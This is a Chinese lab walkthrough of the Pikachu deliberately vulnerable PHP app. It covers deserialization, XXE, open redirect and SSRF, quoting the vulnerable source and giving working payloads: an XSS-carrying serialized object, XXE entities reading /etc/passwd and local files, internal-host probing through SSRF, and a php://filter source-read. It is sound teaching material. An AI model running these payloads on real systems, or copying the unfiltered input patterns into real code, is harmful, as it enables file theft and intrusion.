反序列化、XXE、URL重定向、SSRF
PHP反序列化
在理解这个漏洞前,你需要先搞清楚php中serialize(),unserialize()这两个函数
序列化serialize()
序列化说通俗点就是把一个对象变成可以传输的字符串,比如下面是一个对象
反序列化unserialize()
就是把被序列化的字符串还原为对象,然后在接下来的代码中继续使用
序列化和反序列化本身没有问题,但是如果反序列化的内容是用户可以控制的,且后台不正当的使用了PHP中的魔法函数,就会导致安全问题。
PHP反序列化漏洞
源码:
<?php /** * Created by runner.han * There is nothing new under the sun */ $SELF_PAGE = substr($_SERVER['PHP_SELF'],strrpos($_SERVER['PHP_SELF'],'/')+1); if ($SELF_PAGE = "unser.php"){ $ACTIVE = array('','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','active open','','active','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','',''); } $PIKA_ROOT_DIR = "../../"; include_once $PIKA_ROOT_DIR.'header.php'; class S{ var $test = "pikachu"; function __construct(){ echo $this->test; } } //O:1:"S":1:{s:4:"test";s:29:"<script>alert('xss')</script>";} $html=''; if(isset($_POST['o'])){ $s = $_POST['o']; if(!@$unser = unserialize($s)){ $html.="<p>大兄弟,来点劲爆点儿的!</p>"; }else{ $html.="<p>{$unser->test}</p>"; } } ?> <div class="main-content"> <div class="main-content-inner"> <div class="breadcrumbs ace-save-state" id="breadcrumbs"> <ul class="breadcrumb"> <li> <i class="ace-icon fa fa-home home-icon"></i> <a href="unserilization.php">PHP反序列化</a> </li> <li class="active">概述</li> </ul> <a href="#" style="float:right" data-container="body" data-toggle="popover" data-placement="bottom" title="tips(再点一下关闭)" data-content="先把PHP序列化和反序列化搞懂了在来玩"> 点一下提示~ </a> </div> <div class="page-content"> <form method="post"> <p>这是一个接受序列化数据的api: <input type="text" name="o" /> <input type="submit" value="提交"> </form> <?php echo $html;?> </div><!-- /.page-content --> </div> </div><!-- /.main-content --> <?php include_once $PIKA_ROOT_DIR . 'footer.php'; ?>
源码分析:
用户输入的o未做任何安全处理,直接进行反序列化
if(isset($_POST['o'])){
$s = $_POST['o'];
if(!@$unser = unserialize($s)){
$html.="<p>大兄弟,来点劲爆点儿的!</p>";
}else{
$html.="<p>{$unser->test}</p>";
}
}
?>
漏洞验证
payload :O:1:"S":1:{s:4:"test";s:29:"<script>alert('xss')</script>";}
反序列化导致xss漏洞
XXE
攻击者通过向服务器注入指定的xml实体内容,从而让服务器按照指定的配置进行执行,导致问题。
也就是说服务端接收和解析了来自用户端的xml数据,而又没有做严格的安全控制,从而导致xml外部实体注入。
现在很多语言里面对应的解析xml的函数默认是禁止解析外部实体内容的,从而也就直接避免了这个漏洞。
以PHP为例,在PHP里面解析xml用的是libxml,其在≥2.9.0的版本中,默认是禁止解析xml外部实体内容的。
XXE漏洞
XXE漏洞(外部实体注入)
xml用来传输和存储数据
html用来显示数据
源码:
<?php /** * Created by runner.han * There is nothing new under the sun */ $SELF_PAGE = substr($_SERVER['PHP_SELF'],strrpos($_SERVER['PHP_SELF'],'/')+1); if ($SELF_PAGE = "xxe_1.php"){ $ACTIVE = array('','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','active open','','active','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','',''); } $PIKA_ROOT_DIR = "../../"; include_once $PIKA_ROOT_DIR.'header.php'; //payload,url编码一下: $xxepayload1 = <<<EOF <?xml version = "1.0"?> <!DOCTYPE ANY [ <!ENTITY f SYSTEM "file:///etc/passwd"> ]> <x>&f;</x> EOF; $xxetest = <<<EOF <?xml version = "1.0"?> <!DOCTYPE note [ <!ENTITY hacker "ESHLkangi"> ]> <name>&hacker;</name> EOF; //$xxedata = simplexml_load_string($xxetest,'SimpleXMLElement'); //print_r($xxedata); //查看当前LIBXML的版本 //print_r(LIBXML_VERSION); $html=''; //考虑到目前很多版本里面libxml的版本都>=2.9.0了,所以这里添加了LIBXML_NOENT参数开启了外部实体解析 if(isset($_POST['submit']) and $_POST['xml'] != null){ $xml =$_POST['xml']; // $xml = $test; $data = @simplexml_load_string($xml,'SimpleXMLElement',LIBXML_NOENT); if($data){ $html.="<pre>{$data}</pre>"; }else{ $html.="<p>XML声明、DTD文档类型定义、文档元素这些都搞懂了吗?</p>"; } } ?> <div class="main-content"> <div class="main-content-inner"> <div class="breadcrumbs ace-save-state" id="breadcrumbs"> <ul class="breadcrumb"> <li> <i class="ace-icon fa fa-home home-icon"></i> <a href="xee.php"></a> </li> <li class="active">xxe漏洞</li> </ul> <a href="#" style="float:right" data-container="body" data-toggle="popover" data-placement="bottom" title="tips(再点一下关闭)" data-content="先把XML声明、DTD文档类型定义、文档元素这些基础知识自己看一下"> 点一下提示~ </a> </div> <div class="page-content"> <form method="post"> <p>这是一个接收xml数据的api:</p> <input type="text" name="xml" /> <input type="submit" name="submit" value="提交"> </form> <?php echo $html;?> </div><!-- /.page-content --> </div> </div><!-- /.main-content --> <?php include_once $PIKA_ROOT_DIR . 'footer.php'; ?>
源码分析:
直接将前端传入的xml带入到simplexml_load_string()中执行
$xml =$_POST['xml'];
// $xml = $test;
$data = @simplexml_load_string($xml,'SimpleXMLElement',LIBXML_NOENT);
if($data){
$html.="<pre>{$data}</pre>";
}else{
$html.="<p>XML声明、DTD文档类型定义、文档元素这些都搞懂了吗?</p>";
}
}
?>
漏洞验证
读取服务器端:C:\Windows中的secret.txt文件内容
payload:
<?xml version = "1.0"?>
<!DOCTYPE ANY [
<!ENTITY f SYSTEM "file:///C://Windows//secret.txt">
]>
<x>&f;</x>
URL重定向
不安全的url跳转问题可能发生在一切执行了url地址跳转的地方。
如果后端采用了前端传进来的(可能是用户传参,或者之前预埋在前端页面的url地址)参数作为了跳转的目的地,而又没有做判断的话
就可能发生"跳错对象"的问题。
url跳转比较直接的危害是:
-->钓鱼,既攻击者使用漏洞方的域名(比如一个比较出名的公司域名往往会让用户放心的点击)做掩盖,而最终跳转的确实钓鱼网站
不安全的URL跳转
源码:
<?php
/**
* Created by runner.han
* There is nothing new under the sun
*/
$SELF_PAGE = substr($_SERVER['PHP_SELF'],strrpos($_SERVER['PHP_SELF'],'/')+1);
if ($SELF_PAGE = "urlredirect.php"){
$ACTIVE = array('','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','active open','','active','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','');
}
$PIKA_ROOT_DIR = "../../";
include_once $PIKA_ROOT_DIR.'header.php';
$html="";
if(isset($_GET['url']) && $_GET['url'] != null){
$url = $_GET['url'];
if($url == 'i'){
$html.="<p>好的,希望你能坚持做你自己!</p>";
}else {
header("location:{$url}");
}
}
?>
<div class="main-content">
<div class="main-content-inner">
<div class="breadcrumbs ace-save-state" id="breadcrumbs">
<ul class="breadcrumb">
<li>
<i class="ace-icon fa fa-home home-icon"></i>
<a href="unsafere.php.php"></a>
</li>
<li class="active">不安全的url跳转</li>
</ul>
<a href="#" style="float:right" data-container="body" data-toggle="popover" data-placement="bottom" title="tips(再点一下关闭)"
data-content="仔细看下每个请求的内容">
点一下提示~
</a>
</div>
<div class="page-content">
<div class="vul info">
我想问一下,你到底是下面哪一种类型的人:<br>
<pre>
<a href="urlredirect.php">像春天的花一样的少年</a>
<a href="urlredirect.php">像夏天的雨一样的少年</a>
<a href="urlredirect.php?url=unsafere.php">像秋天的风一样的少年</a>
<a href="urlredirect.php?url=i">我就是我,放荡不羁的我</a>
</pre>
<?php echo $html;?>
</div>
</div><!-- /.page-content -->
</div>
</div><!-- /.main-content -->
<?php
include_once $PIKA_ROOT_DIR . 'footer.php';
?>
源码分析:
前端传入的url直接带入到header()中执行了
if(isset($_GET['url']) && $_GET['url'] != null){
$url = $_GET['url'];
if($url == 'i'){
$html.="<p>好的,希望你能坚持做你自己!</p>";
}else {
header("location:{$url}");
}
}
?>
漏洞验证:
最后一个点击查看url后面参数url指定跳转地址:http://192.168.10.7:85/pikachu-master/vul/urlredirect/urlredirect.php?url=i
跳转到百度payload--->192.168.10.7:85/pikachu-master/vul/urlredirect/urlredirect.php?url=http://www.baidu.com
SSRF(服务端请求伪造)
SSRF(Server-Side Request Forgery:服务器端请求伪造)
其形成的原因大都是由于服务端提供了从其他服务器应用获取数据的功能,但又没有对目标地址做严格过滤与限制
导致攻击者可以传入任意的地址来让后端服务器对其发起请求,并返回对该目标地址请求的数据
数据流:攻击者----->服务器---->目标地址
根据后台使用的函数的不同,对应的影响和利用方法又有不一样
PHP中下面函数的使用不当会导致SSRF:
file_get_contents()
fsockopen()
curl_exec()
如果一定要通过后台服务器远程去对用户指定("或者预埋在前端的请求")的地址进行资源请求,则请做好目标地址的过滤
SSRF(curl)
源码:
<?php /** * Created by runner.han * There is nothing new under the sun */ $SELF_PAGE = substr($_SERVER['PHP_SELF'],strrpos($_SERVER['PHP_SELF'],'/')+1); if ($SELF_PAGE = "ssrf_curl.php"){ $ACTIVE = array('','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','active open','','active','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','',''); } $FILEDIR = $_SERVER['PHP_SELF']; $RD = explode('/',$FILEDIR)[1]; $PIKA_ROOT_DIR = "../../"; include_once $PIKA_ROOT_DIR.'header.php'; //payload: //file:///etc/passwd 读取文件 //http://192.168.1.15:22 根据banner返回,错误提示,时间延迟扫描端口 if(isset($_GET['url']) && $_GET['url'] != null){ //接收前端URL没问题,但是要做好过滤,如果不做过滤,就会导致SSRF $URL = $_GET['url']; $CH = curl_init($URL); curl_setopt($CH, CURLOPT_HEADER, FALSE); curl_setopt($CH, CURLOPT_SSL_VERIFYPEER, FALSE); $RES = curl_exec($CH); curl_close($CH) ; //ssrf的问是:前端传进来的url被后台使用curl_exec()进行了请求,然后将请求的结果又返回给了前端。 //除了http/https外,curl还支持一些其他的协议curl --version 可以查看其支持的协议,telnet //curl支持很多协议,有FTP, FTPS, HTTP, HTTPS, GOPHER, TELNET, DICT, FILE以及LDAP echo $RES; } ?> <div class="main-content"> <div class="main-content-inner"> <div class="breadcrumbs ace-save-state" id="breadcrumbs"> <ul class="breadcrumb"> <li> <i class="ace-icon fa fa-home home-icon"></i> <a href="ssrf.php"></a> </li> <li class="active">概述</li> </ul> <a href="#" style="float:right" data-container="body" data-toggle="popover" data-placement="bottom" title="tips(再点一下关闭)" data-content="先了解一下php中curl相关函数的用法吧"> 点一下提示~ </a> </div> <div class="page-content"> <a href="ssrf_curl.php?url=<?php echo 'http://127.0.0.1/'.$RD.'/vul/ssrf/ssrf_info/info1.php';?>">累了吧,来读一首诗吧</a> </div><!-- /.page-content --> </div> </div><!-- /.main-content --> <?php include_once $PIKA_ROOT_DIR . 'footer.php'; ?>
源码分析:
if(isset($_GET['url']) && $_GET['url'] != null){
//接收前端URL没问题,但是要做好过滤,如果不做过滤,就会导致SSRF
$URL = $_GET['url'];
$CH = curl_init($URL);
curl_setopt($CH, CURLOPT_HEADER, FALSE);
curl_setopt($CH, CURLOPT_SSL_VERIFYPEER, FALSE);
$RES = curl_exec($CH);
curl_close($CH) ;
//ssrf的问是:前端传进来的url被后台使用curl_exec()进行了请求,然后将请求的结果又返回给了前端。
//除了http/https外,curl还支持一些其他的协议curl --version 可以查看其支持的协议,telnet
//curl支持很多协议,有FTP, FTPS, HTTP, HTTPS, GOPHER, TELNET, DICT, FILE以及LDAP
echo $RES;
}
?>
漏洞验证:
后面url地址修改为与服务器在同一网段内的其它服务器。
借助服务器SSRF漏洞,获取该服务器在同一网段的其它服务器信息。
例如:利用服务器ssrf漏洞,获取与服务器在同一网段内:http://192.168.10.31的信息
http://192.168.10.7:85/pikachu-master/vul/ssrf/ssrf_curl.php?url=http://192.168.10.31
如图:http://192.168.10.31中信息
SSRF(file_get_content)
文件获取,读取服务器上文件信息。
源码:
<?php /** * Created by runner.han * There is nothing new under the sun */ $SELF_PAGE = substr($_SERVER['PHP_SELF'],strrpos($_SERVER['PHP_SELF'],'/')+1); if ($SELF_PAGE = "ssrf_fgc.php"){ $ACTIVE = array('','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','active open','','','active','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','',''); } $FILEDIR = $_SERVER['PHP_SELF']; $RD = explode('/',$FILEDIR)[1]; $PIKA_ROOT_DIR = "../../"; include_once $PIKA_ROOT_DIR.'header.php'; //读取PHP文件的源码:php://filter/read=convert.base64-encode/resource=ssrf.php //内网请求:http://x.x.x.x/xx.index if(isset($_GET['file']) && $_GET['file'] !=null){ $filename = $_GET['file']; $str = file_get_contents($filename); echo $str; } ?> <div class="main-content"> <div class="main-content-inner"> <div class="breadcrumbs ace-save-state" id="breadcrumbs"> <ul class="breadcrumb"> <li> <i class="ace-icon fa fa-home home-icon"></i> <a href="ssrf.php"></a> </li> <li class="active">概述</li> </ul> <a href="#" style="float:right" data-container="body" data-toggle="popover" data-placement="bottom" title="tips(再点一下关闭)" data-content="先了解一下file_get_contents()相关函数的用法吧"> 点一下提示~ </a> </div> <div class="page-content"> <a href="ssrf_fgc.php?file=<?php echo 'http://127.0.0.1:85/'.$RD.'/vul/ssrf/ssrf_info/info2.php';?>">反正都读了,那就在来一首吧</a> </div><!-- /.page-content --> </div> </div><!-- /.main-content --> <?php include_once $PIKA_ROOT_DIR . 'footer.php'; ?>
源码分析:
对用户输入的file未做任何安全处理,导致任意文件读取漏洞
if(isset($_GET['file']) && $_GET['file'] !=null){
$filename = $_GET['file'];
$str = file_get_contents($filename);
echo $str;
}
?>
漏洞验证:
读取服务器上C:\Windows\secret.txt文件信息
http://127.0.0.1:85/pikachu-master/vul/ssrf/ssrf_fgc.php?file=C:\Windows\secret.txt
利用服务器做跳板,读取和服务器在同一网段内其它机器的信息
Pikachu服务器地址:192.168.10.7 与其同一网段的机器192.168.10.31
这里就是读取192.168.10.31
http://127.0.0.1:85/pikachu-master/vul/ssrf/ssrf_fgc.php?file=http://192.168.10.31